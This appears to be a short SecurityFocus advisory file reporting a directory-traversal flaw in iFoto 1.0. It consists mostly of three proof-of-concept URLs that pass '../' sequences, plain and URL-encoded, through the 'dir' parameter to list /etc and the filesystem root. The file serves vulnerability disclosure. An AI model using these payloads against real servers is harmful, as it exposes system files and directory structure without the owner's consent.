11 lines
No EOL
567 B
Text
11 lines
No EOL
567 B
Text
source: http://www.securityfocus.com/bid/25065/info
|
|
|
|
iFoto is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.
|
|
|
|
A remote attacker can exploit this issue to view the directory structure of the affected computer within the context of the webserver.
|
|
|
|
This issue affects iFoto 1.0; other versions may also be affected.
|
|
|
|
http://www.example.com/ifoto/?dir=..%2F..%2F..%2F..%2F..%2F..%2Fetc
|
|
http://www.example.com/ifoto/?dir=../../../../../../etc
|
|
http://www.example.com/ifoto/index.php?dir=../../../../../../ |